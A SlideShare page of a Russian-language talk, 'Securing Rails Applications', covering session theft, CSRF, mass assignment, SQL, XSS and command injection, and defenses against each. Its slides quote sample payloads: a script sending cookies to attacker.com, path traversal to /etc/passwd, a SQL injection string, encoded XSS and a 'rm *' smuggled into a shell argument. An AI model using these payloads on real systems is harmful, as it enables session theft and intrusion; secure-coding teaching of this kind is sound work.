SlideShare une entreprise Scribd logo
1  sur  21
Securing
Rails Applications


                     Кириллов
                     Александр
Факты

‣ Нет безопасных фреймворков
‣ 75% атак происходят на уровне приложения.
‣ 97% сайтов уязвимы к атакам.
‣ Разработчик должен «знать» атаки.
Сессии
‣ Добавляют зависимость от предыдущих
  запросов
‣ Имеет идентификатор (id: 32-байт MD5)
‣ Как воровать:
  - перехват в незащищенной сети
  - пользователь «не вышел» из аккаунта
  - XSS
  - подмена идентификатора
Сессии


‣ Не храните большие объекты в сессии
‣ Не храните критические данные в сессии
Хранение сессий

‣ ActiveRecord::SessionStore
‣ ActionDispatch::Session::CookieStore
  - 4kB данных
  - хранить user id - это нормально ))
  - не храните секреты в сессиях
  - в конец куки вставляется дайджест
Атаки
   воспроизведения
1. Получаем кредит (сумма в сессии)
2. Покупаем что-либо
3. Кредит уменьшился и сохранился в
   сессии
4. Берем куки с первого шага
5. Наши деньги снова у нас
Фиксация сессии
Фиксация сессии
‣ Новый идентификатор сессии после
  успешного логина
  reset_session
‣ сохранение специфичных данных в
  сессии
   - ip адрес
   - агент пользователя
   - и т.д.
CSRF
CSRF

‣ типы запросов очень важны!
‣ токен при не-GET запросах
‣ ВАЖНО - XSS обходит все защиты CSRF
Еще до кучи
‣ Перенаправления
  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

‣ Самодостаточный XSS
  data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

‣ Upload файлов на сервер
  “../../../etc/passwd” - имя файла.

‣ Скачивание файла
  send_file(params[:filename]) #=> {filename: “../../../etc/passwd”}
Админка
‣ XSS
  - достаточно одного места с необработанным выводом пользовательских данных

‣ Распространение спама с XSS
  Админки с открытым кодом

‣ CSRF
  Перенастройка роутера
  http://192.168.1.1/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on

‣ Режим паранои
  Думай о худшем случае
  Ограничение входа по IP
  Отдельный домен для админки
Массовое назначение

‣ attr_protected
‣ attr_accessible
‣ whitelist_attributes
Пользователи
            и аккаунты
‣ Следите за обновлениями!
  User.find_by_activation_code(params[:id]) #=> первый пользователь

‣ Брутфорсинг аккаунтов
  Не конкретизируйте ошибку
  CAPTCHA

‣ Взлом аккаунтов
  пароли (требуйте старый пароль)
  email (требуйте пароль для изменения)

‣ Логирование
  config.filter_parameters << :password
И еще
‣ Регулярные выражения
  ^ и $, вместо A и z.
  Пример: /^https?://[^n]+$/i
  javascript:exploit_code();/*
  http://hi.com
  */

‣ Права доступа к ресурсам
  Не пытайтесь прятать. Контролируйте!
  @project = Project.find(params[:id]) - плохо
  @project = @current_user.projects.find(params[:id]) - уже лучше

‣ JavaScript используется только для
  проверки, не для предотвращения!
Инъекции
         Белые vs Черные
‣ before_filter :only => […] вместо :except => […]
‣ attr_accessible вместо attr_protected
‣ разрешите <strong> вместо удаления <script>
‣ Только белые списки для пользовательских
  данных
  “<sc<script>ript>”.gsub(“<script>”, "") #=> <script>
Инъекции
                          SQL

‣ Project.where("name = '#{params[:name]}'")
  SELECT * FROM projects WHERE name = '' OR 1 --'
‣ Строки в запросах - плохо
  User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
  User.where(:login => entered_user_name, :password => entered_password).first
Инъекции
                             XSS
‣ Точки входа
  - любое поле ввода, предоставленное пользователю - потенциальная дыра.
  - параметры запросов
  - баннерная реклама

‣ Крадем куки
  <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
  в логе:
  GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

‣ Фильтруйте ввод и вывод
  strip_tags("some<<b>script>alert('hello')<</b>/script>")
  <IMG
  SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116
  ;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#
  83;&amp;#39;&amp;#41;>
  только белый список!!!
Инъекции
                    CSS
‣ Та же JS только в CSS
  MySpace Samy worm
  <div style="background:url('javascript:alert(1)')">
  <div id="mycode" expr="alert('hah!')"
  style="background:url('javascript:eval(document.all.mycode.expr)')">

‣ Действительно ли нужно пользователям
  кастомизировать css?
Инъекции
                    россыпью
‣ Textile
  RedCloth.new('<script>alert(1)</script>').to_html
  RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html

‣ Ajax
  Экранируйте возвращаемые значения

‣ Командная строка
  system("/bin/echo","hello; rm *")
Test your site




https://github.com/Arachni/arachni

Contenu connexe

Tendances

Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
Albina Tiupa
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
kuchinskaya
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
yaevents
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Ontico
 
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
Ontico
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
phpdevby
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Kristina Pomozova
 

Tendances (19)

Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
CodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахCodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидах
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017
 
Ihor Bliumental - Collision CORS
Ihor Bliumental - Collision CORSIhor Bliumental - Collision CORS
Ihor Bliumental - Collision CORS
 
Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10Ihor Bliumental – Is There Life Outside OWASP Top-10
Ihor Bliumental – Is There Life Outside OWASP Top-10
 
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
Радости и гадости регрессионного тестирования вёрстки / Алексей Малейков (HTM...
 
Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Как мы разрабатываем новый фронтенд / Филипп Нехаев (Tinkoff.ru)
Как мы разрабатываем новый фронтенд / Филипп Нехаев (Tinkoff.ru)Как мы разрабатываем новый фронтенд / Филипп Нехаев (Tinkoff.ru)
Как мы разрабатываем новый фронтенд / Филипп Нехаев (Tinkoff.ru)
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте
 
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
 

Similaire à Securing Rails Applications

Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
Andrew Mayorov
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
Positive Hack Days
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
d0znp
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
BlackFan
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
Dmitry Evteev
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
yaevents
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложений
snowytoxa
 
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
defcon_kz
 

Similaire à Securing Rails Applications (20)

11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кода
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложений
 
Цена ошибки
Цена ошибкиЦена ошибки
Цена ошибки
 
Цена ошибки
Цена ошибкиЦена ошибки
Цена ошибки
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
 

Plus de Alexander Kirillov

Plus de Alexander Kirillov (9)

Rom - Ruby Object Mapper
Rom - Ruby Object MapperRom - Ruby Object Mapper
Rom - Ruby Object Mapper
 
Окружение разработчика - от виртуализации к контейнеризации
Окружение разработчика - от виртуализации к контейнеризацииОкружение разработчика - от виртуализации к контейнеризации
Окружение разработчика - от виртуализации к контейнеризации
 
Polymer - New Era of Web Development
Polymer - New Era of Web DevelopmentPolymer - New Era of Web Development
Polymer - New Era of Web Development
 
Виртуализация как инструмент разработчика
Виртуализация как инструмент разработчикаВиртуализация как инструмент разработчика
Виртуализация как инструмент разработчика
 
Application deployment & configuration management
Application deployment & configuration managementApplication deployment & configuration management
Application deployment & configuration management
 
XSLT. Basic.
XSLT. Basic.XSLT. Basic.
XSLT. Basic.
 
Предметно-ориентированные языки программирования (DSL)
Предметно-ориентированные языки программирования (DSL)Предметно-ориентированные языки программирования (DSL)
Предметно-ориентированные языки программирования (DSL)
 
Ruby gui
Ruby guiRuby gui
Ruby gui
 
I18n
I18nI18n
I18n
 

Securing Rails Applications

  • 1. Securing Rails Applications Кириллов Александр
  • 2. Факты ‣ Нет безопасных фреймворков ‣ 75% атак происходят на уровне приложения. ‣ 97% сайтов уязвимы к атакам. ‣ Разработчик должен «знать» атаки.
  • 3. Сессии ‣ Добавляют зависимость от предыдущих запросов ‣ Имеет идентификатор (id: 32-байт MD5) ‣ Как воровать: - перехват в незащищенной сети - пользователь «не вышел» из аккаунта - XSS - подмена идентификатора
  • 4. Сессии ‣ Не храните большие объекты в сессии ‣ Не храните критические данные в сессии
  • 5. Хранение сессий ‣ ActiveRecord::SessionStore ‣ ActionDispatch::Session::CookieStore - 4kB данных - хранить user id - это нормально )) - не храните секреты в сессиях - в конец куки вставляется дайджест
  • 6. Атаки воспроизведения 1. Получаем кредит (сумма в сессии) 2. Покупаем что-либо 3. Кредит уменьшился и сохранился в сессии 4. Берем куки с первого шага 5. Наши деньги снова у нас
  • 8. Фиксация сессии ‣ Новый идентификатор сессии после успешного логина reset_session ‣ сохранение специфичных данных в сессии - ip адрес - агент пользователя - и т.д.
  • 10. CSRF ‣ типы запросов очень важны! ‣ токен при не-GET запросах ‣ ВАЖНО - XSS обходит все защиты CSRF
  • 11. Еще до кучи ‣ Перенаправления http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com ‣ Самодостаточный XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K ‣ Upload файлов на сервер “../../../etc/passwd” - имя файла. ‣ Скачивание файла send_file(params[:filename]) #=> {filename: “../../../etc/passwd”}
  • 12. Админка ‣ XSS - достаточно одного места с необработанным выводом пользовательских данных ‣ Распространение спама с XSS Админки с открытым кодом ‣ CSRF Перенастройка роутера http://192.168.1.1/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on ‣ Режим паранои Думай о худшем случае Ограничение входа по IP Отдельный домен для админки
  • 13. Массовое назначение ‣ attr_protected ‣ attr_accessible ‣ whitelist_attributes
  • 14. Пользователи и аккаунты ‣ Следите за обновлениями! User.find_by_activation_code(params[:id]) #=> первый пользователь ‣ Брутфорсинг аккаунтов Не конкретизируйте ошибку CAPTCHA ‣ Взлом аккаунтов пароли (требуйте старый пароль) email (требуйте пароль для изменения) ‣ Логирование config.filter_parameters << :password
  • 15. И еще ‣ Регулярные выражения ^ и $, вместо A и z. Пример: /^https?://[^n]+$/i javascript:exploit_code();/* http://hi.com */ ‣ Права доступа к ресурсам Не пытайтесь прятать. Контролируйте! @project = Project.find(params[:id]) - плохо @project = @current_user.projects.find(params[:id]) - уже лучше ‣ JavaScript используется только для проверки, не для предотвращения!
  • 16. Инъекции Белые vs Черные ‣ before_filter :only => […] вместо :except => […] ‣ attr_accessible вместо attr_protected ‣ разрешите <strong> вместо удаления <script> ‣ Только белые списки для пользовательских данных “<sc<script>ript>”.gsub(“<script>”, "") #=> <script>
  • 17. Инъекции SQL ‣ Project.where("name = '#{params[:name]}'") SELECT * FROM projects WHERE name = '' OR 1 --' ‣ Строки в запросах - плохо User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") User.where(:login => entered_user_name, :password => entered_password).first
  • 18. Инъекции XSS ‣ Точки входа - любое поле ввода, предоставленное пользователю - потенциальная дыра. - параметры запросов - баннерная реклама ‣ Крадем куки <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> в логе: GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ‣ Фильтруйте ввод и вывод strip_tags("some<<b>script>alert('hello')<</b>/script>") <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116 ;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;# 83;&amp;#39;&amp;#41;> только белый список!!!
  • 19. Инъекции CSS ‣ Та же JS только в CSS MySpace Samy worm <div style="background:url('javascript:alert(1)')"> <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> ‣ Действительно ли нужно пользователям кастомизировать css?
  • 20. Инъекции россыпью ‣ Textile RedCloth.new('<script>alert(1)</script>').to_html RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html ‣ Ajax Экранируйте возвращаемые значения ‣ Командная строка system("/bin/echo","hello; rm *")

Notes de l'éditeur

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n